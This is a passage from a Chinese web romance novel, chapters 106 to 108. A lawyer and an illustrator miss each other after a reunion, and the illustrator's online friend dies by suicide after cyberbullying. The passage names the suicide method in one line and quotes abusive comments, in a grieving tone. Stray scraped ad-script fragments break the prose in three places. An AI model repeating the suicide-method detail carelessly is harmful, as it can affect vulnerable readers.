为什么她对他的爱意能够做到如此收放自如,说喜欢他的是她,率先离开的也是她……九年过去了,他难道还要被她掌控住所有的情绪吗?不……他再不会是当年那个可悲又可怜的人。 周嘉先沉默了片刻,“说不定有隐情呢?”这也是这么多年他一直在思考的问题,“陈恕,九年的时间都等了,你就不能再耐心听一听她的解释吗?” “她见了我,只说对不起,我要的是她的对不起吗?”陈恕压抑着满腹的不甘咬牙切齿道,“更何况这么多年了,她几乎不回京照,她早就把我们这些人远远地抛下了……” “算了……”陈恕扯了扯嘴角,将桌上的案件资料重新拿在了手上,九年的时间比他们当年在一中相处的时间还长,或许在时间的冲刷下,那些过去对方早就已经不当回事了,只有他,只要他还像个傻子一样耿耿于怀,辗转不能忘切。 见状,周嘉先只觉得头疼不已,他看着一脸不配合的陈恕,道:“行,你自己心里有数就行。”他转身就走,回了自己的办公室。 将公文包随手放在桌面上,他无声地笑了笑,这世界上谁说算了都有可能,唯独陈恕,绝不可能。他就等着看吧…… 这么多年,陈恕、林听已经让他明白了,这世界上真的有人,只靠着回忆就可以继续爱下去,哪怕与对方完全没有联系,哪怕对方早就不在人世,他们的爱却还持续了一年又一年…… …… 八点半之后,金颂律师事务所的员工陆陆续续来上班了,助理小林见老板陈恕就在办公室内,便敲了敲门,“老板……” 陈恕已经将手头的案件屡清楚了,闻声,他道:“进来吧。” 助理小林看着老板眼下明显的青黑,犹豫道:“老板,这是这几天堆积的案件,他们指名道姓要找您,也不接受我们律所其他律师和他们对接,方宜将他们的案件整理了一下,您……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“拿过来我看看吧。”陈恕拧了拧眉心,接过助理小林手上的案件资料,他随手翻了一翻,心里有数了,“我知道了,你看一下我的行程表尽量把这些案件塞进去。” 助理小林愣了下,老板接下来的行程事宜都那么赶了,还要继续加塞案件…… “哦,好的。”助理小林点了点头,转身离开办公室的时候把门轻轻地关上了。他一回到员工办公室区域时,方宜立刻问,“老板都接了?” “是啊!”助理小林感叹道:“看看我们老板,都这么有能力了,还这么努力……再看看我们,只想按时按点下班。” “哎……那是你,我可还是要向老板学习的……” * 弯月悬挂在天际夜幕上,律所内员工都下班了,陈恕将手头上的事情忙完之后才拿起公文包下班。 他开着车行驶在国道上,隔着车窗玻璃,道路两旁的商铺灯火通明,这座城市仿佛无论什么时候都是车水马龙的,熙熙攘攘的。正是因此,如此繁华和喧嚣的城市才寸土寸金。 到家之后,陈恕随手将钥匙和公文包放在书桌上,他伸手将西装的领结解开,随后走向了书房内整面的落地窗前。 从窗内望出去可以看到京照市的特色景点,这套房子是他和先哥成立了金颂律师事务所之后接了很多单子,渐渐打下了律所的名气之后,再接了一个超大的商业单子之后才终于攒到钱全款买下了的房子。 房子……家…… 窗外是万家灯火,闪烁的霓虹灯隔着玻璃窗看出去显得迷蒙起来,像是一个个闪烁相连着的光斑。 屋内寂静无声,男人眼底尽显寂寥,他只能听到他自己一个人清浅的呼吸声。明明他也有家了啊…… 陈恕望着窗外,思绪仿佛再次回到了九年前那一日,漫天霞光下,一群少年少女在尘土飞扬的荒地前许下了一直在一起的约定。那一日之后,他曾偷偷地查过京照市的房价,也认真地计划着每一年都该攒多少钱才能买下一套房子,要多努力才能履行这个约定…… 那片荒地上已经建起了商品套房和商场,正如当年许兰亭的哥哥推断的那样,那片地区已经成为了京照市另一片繁华的区域。 然而物是人非……九年后的他已经能够买得起自己的房子了,但他也没有选择那个小区,没必要了…… 疲倦和乏力总是在夜深人静的时候席卷而来,他不是不累,只是每当这时候他总会想起张期期的妈妈一针见血、毫不留情的话语,他再努力而获得的成果,也不过是张家可踩可不踩的台阶而已。 所以……再努力不行,那再再努力呢,再再再努力呢……即便这么些年里他毫无她的音讯,他也不敢停下努力的步伐。 原本他主攻的方向是刑事诉讼,很多商业诉讼他都不怎么考虑接,今日小林给的那几个案件都是商业诉讼,他接了,毕竟商业案件确实比较赚钱。 …… 106. 第 106 章 - 连绵的阴雨天持续不断,空气中潮湿的水雾迷漫着,张期期身穿浅蓝色的棉质长袖连衣裙,头发松松垮垮地扎成一束,正在早市的摊贩前买着菜。 “期期,最近你家那几个不成器的舅舅是不是没去闹了?” 张期期闻言,嘴角微微上扬,“嗯,他们闹不成了。房产证的名字已经改了,是我的名字。” “那就好,那就好……那些日子可把我担心得啊!现在就好啦,你名下有房子,以后婚事也好找。”卖菜的大妈住张期期家附近,她压低着嗓音低声庆幸道。 婚事……张期期闻言,挑选番茄的手顿了顿,她现在才26岁,说什么婚事啊……而且……婚事?在这一瞬间,她脑海中蓦然浮现男人清隽俊秀的面容,与年少时的他相比,显得成熟稳重了不少。 心中泛起丝丝缕缕的苦涩,张期期微微摇了摇头,将脑海中男人的身影抛之脑后,她回过神来,微笑着转移话题,“阿姨,我挑好了,您称一下多少钱?” 对方接过她手中的袋子,放到秤盘上,一边说着,“别摇头啊,你现在也二十好几了吧,阿姨不是和你开玩笑啊,女孩子就要趁着年轻的时候找,不然以后就得被别人挑!” “你看看你,大学也读了,但又没见你找到什么好工作,整天窝在家里,凭白耽误了好时间,啊……阿姨和你说,我有个还没结婚的侄子,和你年纪差不多,要不找个时间见见……我侄子条件也不错的……” 张期期尴尬地笑了笑,她看着秤上显示的数额,赶紧给了钱,打断了对方喋喋不休的话,“阿姨,我钱给了,先不说了,我还得去买其他东西呢……” 她说完,连忙转身就走,身后还隐隐约约传来菜贩们之间的谈话…… “你是看上人家名下有房子吧?你那侄子家里家庭条件是不错,但他上面有好几个哥哥,到时候分家小娃可分不到什么,你是想给你侄子找个房子吧?” “呔,胡说什么。期期现在就她一个人,不找个男方家里人多的,以后她那几个舅舅还来惹事怎么办……” …… 张期期抿了抿唇,小城镇就是这样,大家都沾点亲带点故,平日里也没什么消磨时间的事,因此遇上点事总能说道几句。 这不,她现在刚买完面条,面条摊的老板娘神秘兮兮地问她,“期期,我女儿就在政府部门上班,上回她说看到你和一个男的去改□□件,那男的是你男朋友吗?外地人?” 男朋友…… 张期期连忙否认,“不是,就是以前的同学……” “同学啊……”面条摊的老板娘瞬间拿出了手机,“期期,那你有他的微信吗?你兰西姐到年龄了,她眼光一向高,难得看到一个喜欢的,要不,你把微信推给阿姨,我先帮你兰西姐把关把关。” 张期期闻言,心脏猛地一阵跳动,一联想到陈恕和别的女孩子,她内心顿时泛上排斥和酸涩的情绪,“不好意思啊,阿姨,我没有他的微信。上次就是偶然遇见……” “没微信啊,那联系电话有没有啊?” 张期期:联系电话…… 那张黑色烫金的名片被她稳妥地放在包包里,那串手机号码她也记得清清楚楚。 “那个男的是律师吧?我听我女儿说的,律师好啊,对了,说到律师,我弟弟正在和她老婆打离婚官司呢,我这边正好想找个律师。” “啊?”张期期愣了愣。 “是啊!我弟弟也想要孩子的抚养权,但我弟妹死活不肯妥协,那是我们老张家的孩子,怎么能给别人带走。” “期期,你把那个律师的电话号码给我,是你同学吧,那好,阿姨我照顾照顾他的生意。” 张期期顿了下,陈恕现在挺有名的,他应该不会缺单子吧?但好像他律所名下还有挺多小律师的,他们可能会需要单子?要不就把号码给她? 鬼使神差下,她诺诺地点了点头,“有,我有他的电话号码。” “那可太好了。” 张期期将记在心里的那串手机号码轻声念了出来,对方拿过笔记了下来,又笑着连连谢道。 “阿姨,您不要告诉对方是我给的手机号码,行吗?”张期期神色尴尬。 “哦,这样啊,好好好。”年轻人就是脸皮薄,给同学介绍生意,还怕同学承她的情,她懂她懂。 张期期临走前,又被喊住了,对方随手从隔壁的菜摊子上拿了几根葱,道:“煮面是吧,煮面得加葱才好看又好吃。” 张期期:“啊,那……谢谢阿姨。” …… 从菜市场回来,张期期洗了手,煮了一碗番茄青菜鸡蛋面。 她坐在饭桌前,一边看着iPad上shutterstock、GettyImages、iStockphoto几个平台后台上下载她上传的画的数据,又看了看底下粉丝的评论,她边吃面吃抽空回复了几个评论。 木木一直在她的脚边蹭来蹭去的,叫个不停,张期期低头看了一眼,眼底漫上笑意,她将筷子放下,从客厅的柜子下拿了小猫的饭碗、水碗出来,再往里面倒了一部分猫粮和温水。 见木木大快朵颐,她才笑着重新回到了饭桌前,一边吃一边继续看着iPad上的消息。她手上还有几份稿子还没画完,所以接下来的日子张期期再次过回了以往的日子,画画稿子,自己做饭,养猫养花,日子过得宁静又平和。 现在是鹿海市的雨季,她每每从窗外望出去时,入目所及的都是一片蒸腾的水雾,远处的景色在水雾中变得朦胧不清,淅淅沥沥的雨珠拍打在屋檐上,滴滴答答地交响着…… 最开始的时候她还会时不时想起陈恕来,但随着日子一天天地过去,她慢慢变得很少去想他了,九年的时间很长很长,长得她望着雨幕时甚至会觉得那一次的见面其实是她自己做的梦,一场关于青春落幕后的尾声的梦。 然而眼下这种宁静的生活却也在告诉她,那不是梦,是真实的,真真切切的,否则如今的她肯定还陷在与舅舅们的房产纠纷中。 她和陈恕还会再见面吗?应该不会了吧……张期期心道,这个世界很大很大,一转身有些人真的就一辈子再也没有见过面了,甚至有些人见的已经是人生当中最后一面了,只是那时谁也没有意识到而已。 …… 与张期期这边宁静、平和的日子截然不同的是,陈恕的日子蓦然间变得鸡飞狗跳、极为诡异…… 噔噔噔—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手机震动的声音响了又响,这已经是今天第九次了。陈恕垂眸望了一眼,见是外地号码便不打算接了…… 其实作为律师,他这样不接电话的行为是非常不妥当的,但谁让他最近接受了一堆电话的轰炸,他一接通起来,电话那边就开始推销起自己的女儿,侄女、外甥女等等,以至于现在他简直心有戚戚。 周嘉先忍俊不禁地坐在陈恕办公室的沙发上,道:“你再想想,你是不是得罪了什么人啊?” 陈恕拧了拧眉心,无奈道:“不好说,我每一场打胜的案件是不是都算得罪了另一方的当事人和律师?” 他犹豫片刻,曾经打过官司的案件资料一瞬间涌入他的脑海中,他难受得皱起了眉头,压住恶心想吐的感觉后,肯定道:“我觉得他们不至于做这么没品的事情。” “噗嗤——”周嘉先忍不住再次笑了。 陈恕抿唇,神色淡淡地看着对方,周嘉先忍住笑意,假装咳了咳,若有所思道:“你不知道现在最恶心人的报复方式就是把对方的手机号码挂到相亲网站上?” “嗯……你现在可是黄金单身年龄,长得不错,又年轻有为,确实抢手啊!” 陈恕无语地看着周嘉先,已经开口赶人了,“你很闲吗?很闲的话,我这里还有几个案子,要不你来?” 周嘉先立刻拿起桌上的公文包,利落地转身走出陈恕的办公室,生怕被抓去当做劳力。 办公室门被关上时,陈恕才缓缓收回视线,桌面上的手机再次震动起来,他瞥了一眼,又是鹿海市打过来……他紧紧抿住唇,神色难看。 第一次见到鹿海市打过来的电话时,他正在和委托人谈话,自从当了律师之后,他每次和委托人谈话都是专心致志的,目光一直放在对方的神情上,脑海里仔细分辨着委托人说出的话中是否有前后矛盾的地方或者是有隐瞒的地方,因为他已经见惯了很多人在自己请的律师面前都不愿意说实话。 然而那一次,他频频走神。基于个人作为律师的职业素养,他并不想半途接一个不熟悉的电话号码来打断委托方的谈话。 但……他不能否认,那一刻他心跳的频率有多快,鹿海市!鹿海市!是她打过来的吗?他给了她他的手机号码,所以会是她吗? 那是他第一次不像以往那样一字一句地向委托人重复和确认这些字句的真实性,而是速战速决,大致听了一遍委托人的谈话之后,表示要再看看案件资料,又立刻向对方约了下次再见面的时间。 等送走对方之后,他握住手机的指尖微微颤抖,她还会再打过来吗?他忍不住想打回去,但心中又憋着一口气,希望对方能够一而再再而三地打给他,如此他才能从心底里感受到被她看重的满足…… 只是……陈恕垂眸苦笑一声,当他以为期期再次打了电话过来之后,他颤抖着手,绷着声音,内心却饱含期待地接通电话时,听到的却是陌生人的嗓音,对方还向他推销自己的女儿,问问有没有时间可以见一面。 那一刻,他只觉得格外地荒唐可笑,他沉默着挂断了电话,仅仅是同样地点打过来的电话号码而已,他就完全溃不成军。承认吧……陈恕,九年过去了,你一点长进都没有。 …… 107. 第 107 章 - 鹿海市的雨季是漫长的,接连一个月内暴雨、中雨、小雨轮番上阵,雨下得多了,土质疏松开来,本地的电视台时不时地播报着某地山体滑坡、某地面临着水涝灾害…… 淅淅沥沥的雨珠拍打在屋檐上,滴滴答答地响着,汇聚成薄薄的水屏障一样铺在窗玻璃上流动着。张期期穿着棉质长袖睡裙,手捧着牛奶望着窗外,远处群山迷蒙。 她来鹿海市九年,已经习惯了连绵的雨季,望了一眼后,她收回目光,看着桌上的电脑页面皱起了眉头,半个月了…… 一连半个月,柏雪都没有给她发消息,联系过她。 以往,柏雪也曾和她说过,要去找灵感,最近不要联系她的话,但一般来说,这个“最近”的期限最多只有十天,而这次,整整十五天了。 张期期看着前几日她发给对方后,始终没有得到回复的消息陷入了不安中,柏雪会不会发生什么事了? 许是感受到张期期心中的焦躁,脚边的木木开始不安地叫了起来,喵—— 张期期回过神来,连忙抱起小猫,安抚地摸了摸对方的脑袋,又挠了挠它的下巴。见木木变得温顺起来,她把小猫放在大腿上让它趴着,而手上则不停地按着键盘。 她给柏雪的小说做过封面设计,所以她是知道对方的笔名的,眼见微信上没有回复,她只能去对方的小说底下看看她最近有没有回复读者的评论,以此来推断她是否安全。 然而她点进柏雪的小说专栏里,发现她最近更新小说章节的时间是在七天前,张期期的脸色瞬间一白,肯定是出事了,柏雪从来都不会断更的,就连发烧、住院都扛着笔记本电脑,挤也要挤出三千字。 张期期再一翻最近更新的那篇小说的评论区时,发现密密麻麻的都是用谐音和字母写下的辱骂用词,“cxg去丝”、“你见不见啊,居然cx我们大大的小说,谁给你的勇气”、“laji人只会cx吧”、“你能不能去si啊”、“每日祈祷作者出门被车创”…… 这些辱骂、不怀好意的话语几乎占据了柏雪最近的这本小说里三分之二的评论区,污言秽语、字字戳心,文字中夹杂的恶意扑面而来。 张期期气得指尖发抖,牙关打颤,她作为旁观者,都忍受不了如此庞大的恶意,更何况是当事人的柏雪呢?她再也翻不下去,看不下去了。 手机手机呢……张期期抖着手在满桌的画稿中摸索到手机,还未来得及高兴,她神色疏忽间一僵,她没有柏雪的手机号码,这四年来,她们两人只用微信软件聊天而已,也没有见过面,正是因此她们才在网上无话不谈。 报警!这是张期期脑海里瞬间浮现的想法,她抖着手拨打了110,三言两语地将事情快速地告知了警方。 警方表示这是异地报警,鹿海市这边会先联系京照市那边的警方,再从网站上找该作者的联系电话和紧急联系人,以此来确定对方的状态,警方让她先耐心等待。 时间一分一秒地过去,木木再次焦躁地叫起来,张期期愣了愣,抬眸看了一眼时间,她愣了愣,脸上带着歉意道,“对不起啊,木木,我忘记给你放猫粮了,你等一会儿啊!” 说着,她起身往楼下小跑下去,木木脚步轻盈地跟在她的身后,她将猫粮和温水放好之后,看着木木大快朵颐的样子,她忍不住摸了摸木木的头,顺滑柔软……这让原本不安焦躁的她心情好了一些。 肯定是她想多了……一定会没事的,柏雪那么坚强,她以前的职业什么风风雨雨没见过,她一定是心情有些不好,不想见任何人,不见回复任何消息而已,她心情差的时候也这样,所以没事的!一定会没事的! 轰隆—— 窗外一声闷雷猛然炸响,木木应激起来,尖声嘶喊着,张期期也吓了一跳,她连忙抱起小猫,紧紧地抱在怀里,没事的,一定没事的。 放在楼上的手机突然响了起来,张期期瞳孔一缩,她抱着木木就往楼上房间,将小猫放在床上后,她抄起手机接通了电话,“喂……” …… 闷雷响过之后,连绵的小雨突然转成暴雨,窗外好像刮起了风,晦暗的深绿在窗外随着风大幅度地摇曳着,噼里啪啦、呼呼声交织在一起,越来越响,越来越响,甚至要盖过她手机对面警方的说话声。 【……】 【很抱歉,我们赶到的时候,已经太迟了,您是她手机通讯录里唯一的好友,我们联系不上其他人,所以能请您来京照市一趟吗?还有她的后事也需要处理……我们……】 “好。我知道了。我会去的。”耳膜嗡嗡作响,眼前的世界仿佛在高速地旋转着,张期期挂断电话之后,颓然地坐在地上,浓浓的自弃席卷而上她的心间,她仿佛站在泞泥的沼泽里只能任由自己被缓缓地吞没。 死,寥寥几笔,却残忍地划断世间所有的联系。 耳边仿佛回响着五年前大学的操场上刺耳的尖叫声,警笛声,嘈杂的人声里夹杂着惊惧不安的语气、惶恐却又好奇的问询声、连连叹气表示可惜的声音,这些声音交织在一起,她亲眼看见了死亡。 她反射性地想呕吐,喉咙间发出难受的一声闷呕。生理性的泪水溢满她的眼眶,她抬手捂住了发红的眼眶。 木木似乎感受到主人的情绪,正乖顺地蹭着她的小脚,柔软的触觉传来,浑身僵硬的张期期这才缓缓垂头望向温暖柔软的木木。 她将小猫抱起,头轻轻埋在小猫的温暖柔软的身体上,汲取着能量去面对好友的死亡。 “木木,要是我再早一点发现不对劲是不是就能救下她了……” “……我不是个称职的朋友,一直以来都不是,无论是以前还是现在,我只会给身边的人带来不幸吗?” 小猫“喵喵”叫着,一下又一下地蹭着张期期的额头,好半响之后,她红着眼眶艰难地站起来,木木叫了一声又跳到了床上。 张期期嘴角扯了扯,“真想像木木你一样无忧无虑的。”她深吸了一口气,压下心中无尽的哀伤,她现在要去京照市。 买最快的机票,收拾一些行李,最重要的是她不知道得在京照市呆几天,所以木木得托人照顾一下,虽然说飞机也可以托运宠物,但她是回去办事的,且如今的她在京照市已经没有落脚之地了,她还得定酒店,酒店那边大概率不会同意携带宠物入住吧…… 好在隔壁的李大爷、李大婶表示愿意帮她照顾木木一阵子,张期期对此表示了感谢,虽然之前他们在戚家舅舅的威胁下不愿意帮张期期作证,但往日里张期期和他们相处得还算可以,木木也并不排斥隔壁老俩口。 连绵的雨还在下着,好在此刻雨势渐小,并不影响飞机的起飞,张期期斜挎着一个运动背包,里面只装了一套换洗的衣服和一套睡衣、个人证件之外就没了。 …… 京照市。金颂律师事务所。 因着本来就密密麻麻的行程又加塞了好几个商业诉讼,陈恕一连半个月忙得团团转,每次都是律所里最晚下班的人,甚至有时候还会歇在律所里,作为大老板,他的办公室里配套着一个作为他平日里休息的套房。 天色微微亮,落地窗玻璃上沾染着晨间的雾气,陈恕缓缓睁开了双眼,昨晚忙完已经太晚了,他也就直接歇在了律所内。 好在这半个月的连轴转终于结束了,他也可以稍微松一口气了。 男人的余光瞥到床头柜上放着的手机时,他的神色顿时有些难看,半个月了,期期一个电话都没有打给过他,上次若不是他偶然遇见了她,是不是这辈子她都不会想见他了…… …… 阴天,高架桥上依旧车水马龙,律所的同事陆陆续续地来上班了。 早上八点钟,陈恕面无表情地从办公室内出来,他轻轻敲了敲助理小林的桌面,“小林,帮我订张……” 话还没说完,周嘉先恰好拎着公文包推门而入,他佯装诧异地抬眸问道:“你最近的行程不是都在本市吗?还需要出差?哪个案件啊……” 陈恕抿唇:…… “没有。”他转身欲走。 周嘉先哈哈大笑道:“小林,快帮你老板订张去鹿海市的机票,越快越好。” 助理小林:啊??? 陈恕猛然回头,神色羞恼,他沉声道:“先哥……” 周嘉先下意识食指和大拇指捏在一起,随后在嘴唇前做了个拉链拉上的动作,然而这个动作刚做完,他和陈恕皆是愣了一下,片刻后两人各自狼狈地撇开视线。 ……这是许兰亭的招牌动作。 好半响,气氛沉默,助理小林弱弱地出声问道,“那……老板,机票还订吗?” 陈恕闭了闭眼,心中妥协,“订吧。” …… 同一片领空,无数的飞机在各自的航线上永不交汇地执行着各自的飞行任务。 京照市中心派出所。 张期期一落地就直接打了车往派出所里赶,来接待她的正是负责柏雪死亡这起案件的警察。 柏雪是自杀的,选择的是在泡在浴室的浴缸内割腕自杀的方式,警方接到张期期的报警电话,再联系网站的管理人员后得到柏雪的家庭地址之后就马不停蹄地往她的家里赶,但破门而入的时候房间里已经有异味了。 派出所内的灯光冰冷刺眼,随着警察说出口的话,张期期整个人的精神仿佛被吸走一样,她渐渐弯了腰驼了背,她低垂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着头,任由发丝掩盖住她悲戚的神情,但晶莹的泪水还是顺着她的脸颊滑落。 坐在她对面的警察顿了顿,伸出手抽出一张纸巾递给了张期期。 张期期伸手接过随意擦了擦脸上的泪水,她攥着微微湿润的纸巾声音低哑,“那不叫自杀吧,那是网暴致死。我要告他们!!我一定要告他们!” “好。首先你要收集证据,截图也好、录屏也好,其次……” …… 当张期期从派出所出来的时候是中午十二点多,从早上坐了两个小时的飞机到现在,她滴水未进,肚子里饿得咕咕直叫,然而脑海中浮现的画面却让她生理性地想吐。 只要一想到死亡,她就会联想到当年大学时撞见的画面,从而恶心想吐厌食。她从背包中拿了颗抹茶味的糖果塞在嘴里顶一顶饿,又打了辆车前往殡仪馆。 殡仪馆内并不像张期期想象的阴森恐怖,反而就像个正常单位一样。 到最后,她也没有见到柏雪最后一面,因为尸体是泡在水里的,又加上有段时间了,所以工作人员并不建议她看最后一面。 张期期也没有逞强,隔着窗玻璃和白色的布,她努力扯起了嘴角,低声道:“柏雪,第一次在现实中见面,你长得果然和你给我看的照片一模一样呢,啊不,你比照片上的还好看!” “你还说什么你不上镜,太凡尔赛了……”她轻轻地哼了一声,像以往在网络上聊天一样,只是这一次她再也不会回复了。 不知道站了多久,工作人员过来找张期期聊之后焚烧的事宜,对方将焚烧的日子告诉了张期期,以及叮嘱她那一日记得过来接骨灰。 张期期点点头,交了钱后走出了殡仪馆。 站在人潮汹涌的十字路口,张期期微微仰头望着头顶的天幕,天阴沉沉的,有股风雨欲来的沉重,像极了当年她离开京照市的那一天。 饿了一天的胃开始抽痛,张期期伸手捂住,即便再不想吃饭,她也知道不能再继续饿下去了,再放任这种情况发生的话,她又将重复往日的噩梦。 街道的两旁全是餐饮店,她顺着街道走了一会儿,推开了一家面条店,相对来说,吃面条不那么让她难受。 “老板,一碗素面加菠菜就行。” “行勒……” 没过一会儿,一碗清汤面上漂浮着几片青菜的荞麦面就被端了上来,老板转身回后厨的时候,张期期还听见他嘟嘟囔囔地说道,“又是一个减肥的小姑娘,都那么瘦了,还减肥,吃那么一点点。啧……” 张期期闻言,嘴角扯了扯,眼神苦涩。她微微侧首看向玻璃墙上自己的倒影,神色疲倦、面容寡淡,连身型都比年少时瘦削。 看着桌上的清汤寡面,她抿了抿唇,年少的她无辣不欢,一顿饭能哐哐吃,力气大得惊人,而现在……倒总是一副半死不活、毫无活气的样子。 九年的时间过去,她早就不再是当初那个浑身上下有使不完的劲和活力的少女了,当年她确实抱着执拗的勇气离开京照,独自前往鹿海市学习美术,她确实美术学得很好,然而生活却过得一团糟。 每当想起那仿如晴天霹雳的消息时,她都不能原谅自己。 京照市啊,她确实每年都会回来一次,但每次都急匆匆的,只为故人献上一束花束而已,这座城市承载了很多她至今都不愿意面对的事情。 这座城市都在时间的消逝中渐渐发生了变化,更何况是身为渺小人类的她呢…… …… 另一边,时间倒回今天上午十点多。 陈恕下了飞机之后直接打了辆出租车往石塘镇而去,他隔着车窗望出去,鹿海市还在下着连绵的细雨,仿佛半个月前他还未离开的时候。 前排的司机见陈恕一身西装,皱着眉头望着窗外的雨时,他笑着搭话道:“你是外地人吧,我们这的四五月份就是雨季,一连下一个多月的雨都是常事。” 陈恕微笑着点点头,雨季啊……鹿海市和京照市也不一样,京照市的雨季在秋之后,冬之前。期期到底什么时候从美国回来的,又为什么回了国之后不留在京照反而来了鹿海市呢? 很快,石塘镇就到了,出租车停在了张期期的家门口。 此刻连绵的细雨开始转小雨,陈恕付了车钱之后推门准备下车,司机突然叫住了他,“哎,先生等等,我后备箱有雨伞卖,来一把吗?看你从外地来,也没带伞,我们这的雨要停估计还悬着呢!” 陈恕闻言,下意识想答应,但下一刻他硬生生摇了摇头,拒绝道:“暂时不用了,谢谢,我到朋友家了。” ……万一期期不愿意见他的话,外面下着雨,他又没有伞,她总不会还赶他走吧。 108. 第 108 章 - 淅淅沥沥的小雨拍打在屋檐上,雨水顺着屋檐流下形成一道薄薄的雨幕,陈恕站在身后的雨幕前,看着眼前紧闭的院门,她就在一墙之隔内。 男人抬起手准备叩门,然而下一刻指骨却停留在门板前两三寸的地方,他犹豫了……迫切见到她的冲动因为在她院门口得到缓解,他知道自己不愿意再错过九年时间,但这一次他该以什么样的理由来让她接纳他? 九年的时间过去,她现在又是如何看待他的呢? 记忆中的张期期永远生动活泼,热情洋溢,像她这样的女生没有人会不喜欢……这九年过去,她一定在大学见过更多有趣的男生,那么她还会喜欢如此乏味和晦涩的他吗? 他也在国外呆过,知道女孩子喜欢的是幽默和温柔的男生,这两样他一样也不占。这一刻,陈恕完全不确定了。 那一日他沉浸在乍然相逢的晦涩中时,九年时间里绝望的等待和找寻让他在见到她的那一刻压抑不住内心的愤懑和可笑的自尊,对她冷言冷语。 陈恕收回手,指尖无力地垂着身侧,他现在懊恼不已。且待会见到她时,他应该说什么? 就在他踌躇不前的时候,隔壁的院门突然打开了,陈恕下意识望过去,撞见了正出来倒垃圾的李大婶。 “哎?是你啊?你来找期期的?”李大婶惊讶问道。 陈恕不解于对方如此惊讶的神情,但还是微笑着点了点头,“是,我来找期期的。” “哎呀,那可真是不巧,期期早上就坐飞机离开鹿海市了。” 咚—— 陈恕的心脏猛地跳动了一下,随即而来的是深深的惶恐和不安,他浑身紧绷,离开……离开鹿海市?她再一次离开了? “期期!期期!张期期!”陈恕猛地回过头,朝着院内大声喊道,他伸手拍了拍院门。 “都说期期不在这,你这小伙子咋还不信了。”李大婶无语地叨了几声,撑着雨伞去路口倒垃圾去了。 耳边只剩下淅淅沥沥的雨声,他的呼唤声甚至产生了回响,空旷悠扬。院内静悄悄的,毫无声响,她真的走了……再一次走了…… 陈恕捂住脸,遮住眼底无望又漫长的悲伤,这一次,这一次又要多少年…… 满怀欣喜和忐忑前来,最终回去依旧孑然一身,晦涩的酸意泡胀了他的心,陈恕嘴角带着苦笑和自嘲,他抬眸望上去,自建房的二楼的阳台上窗帘遮挡得严严实实。 他深深地望了一眼,脚步沉重地转身走入雨幕之中。鹿海市的雨还在下着,陈恕没有伞,也不需要伞了。 …… 鹿海市酒店,陈恕开了个房间稍作休整之后,立刻打电话给助理小林,“小林,鹿海市这边有没有什么项目或者案件还没完成的?我正好在鹿海市,我来完成就行。” 接到电话的助理小林:……啊?? “有没有?”陈恕问道。 助理小林迅速反应过来,“有,上次那个石塘镇和我们律所的帮助项目还需要最后的签字确认,本来我们是打算让对方邮寄过来的,然后让您签……” “我知道了,最后的签字确认是吧,你把地址给我,我现在就过去签个字。”陈恕淡淡道。 “啊……啊,好的好的。”助理小林硬生生从大老板平淡的语气中品味大老板的可怕和诡异,他向站在他身旁的周嘉先投去了惊疑不定的神情。 挂断电话之后,助理小林:!!! 周嘉先笑着拍了拍他的肩膀,“不用担心,你老板可能受什么刺激了吧。放心,他会习惯的。” 助理小林:…… 不是??您这也太放心了吧,而且怎么还幸灾乐祸啊?还有大老板习不习惯他不知道,他可不习惯啊!!!不过还好……大老板折腾的是他自己,嘿嘿…… …… 手机突然震动了一下,陈恕点开看了一眼,是助理小林发过来的地址,他抿了抿唇,深吸一口气,硬生生将自己掰成往日里那幅稳重、可靠的模样。 嗯……他这次过来鹿海市最主要的是要签字确认上一个项目各个措施的具体施行计划和步骤。 陈恕打了个车前往镇上的单位,找到工作人员说明来意之后,工作人员从一堆文件中准确地找出需要签字的文件递给陈恕,陈恕翻了翻,确认无误后,干脆利落地签了字就走,婉拒了对方请他喝茶以此拖延时间,好让其他工作人员去把领导叫来。 等上司领导匆匆赶来时,陈恕已经撑着一把黑伞走进了雨幕中。 前往机场的出租车上,对于周嘉先打来的电话,陈恕坚持否认道:“……你哪里来的错觉,以为我是来鹿海市找人的。” “嗯,是正事,有个文件需要当面确认签名……是,比较急所以才亲自过来……” 电话那边的周嘉先:…… 算了,给陈恕留点面子,不拆穿当时他打给助理小林的时候,他就在对方身边站着。 * 下午,飞机落地,陈恕回了京照市。 托前阵子忙成狗的福,现在的他稍微空闲了下来,因此下了飞机之后,陈恕决定不去律所,而是将停在机场附近停车场里的车开回家。 京照市的天气从早上到现在依旧阴沉着,今天是周五,正值学生放假回家的时间段,因此道路非常拥挤。 安静的车厢内,陈恕听到自己的肚子一阵咕叫声,他抿了抿唇这才想起来他还没吃午饭。家里的冰箱也空空荡荡的,他打了个转向,准备先去超市买点东西。 道路上车水马龙、人潮汹涌,陈恕看了一眼时间,这个点超市肯定没什么车位了,与其在地下停车场绕个几大圈却没找到一个停车位,他选择将汽车停在不远处道路两旁的停车位上,然后走一段路前去超市更加方便、更节约时间。 —— 面馆店内,张期期吃完面付完钱,将放在一旁椅子上的运动斜挎包背上,推门走出了面馆。 面馆外天气阴沉,风夹杂着细微的灰层颗粒呼呼吹着,人行道上三三两两相伴而行的学生们边走边说笑着,家长步履匆匆地准备接孩子放学,年轻男男女女拖着疲倦的身体下班。 国道上车水马龙,车灯连成一片光影闪烁的灯海,时不时有车子鸣笛声响起。街道两旁的路灯次第亮起,橘黄色的光芒倾洒而下,入目所及是一片喧闹、热闹、繁华。 张期期准备去附近的一家酒店定个房间,她垂眸看着手机上的导航向前走着,被汹涌的人流裹挟在其中。 前方的路口正是红灯,她站在一群人中间、站在斑马线的后方等待着…… 张期期低头看着导航,当身边的人动起来时,她意识到是绿灯了,下意识瞥了一眼绿灯后,便也跟着人流走。 斑马线的左右两侧是无数的汽车停着,绵延成线,斑马线的前方是来自对面道路同她一样要过马路的步行人员。 张期期走到斑马线一半的路程的时候,手腕处突然传来一阵压力十足的疼痛,有人掌心很热、死死地攥紧着她的手腕。 她脚步一滞,惊诧地抬眸望过去,眼前的男人穿着一身西装,身姿挺拔,她对上他的眼神时发觉对方此刻眼神阴沉、死死地盯着她。 陈恕…… 眼前的世界仿佛在慢速地播放着,余光里身边无数人缓缓擦肩而过,还未等她开口,陈恕就攥着她的手腕快步走过斑马线。 * 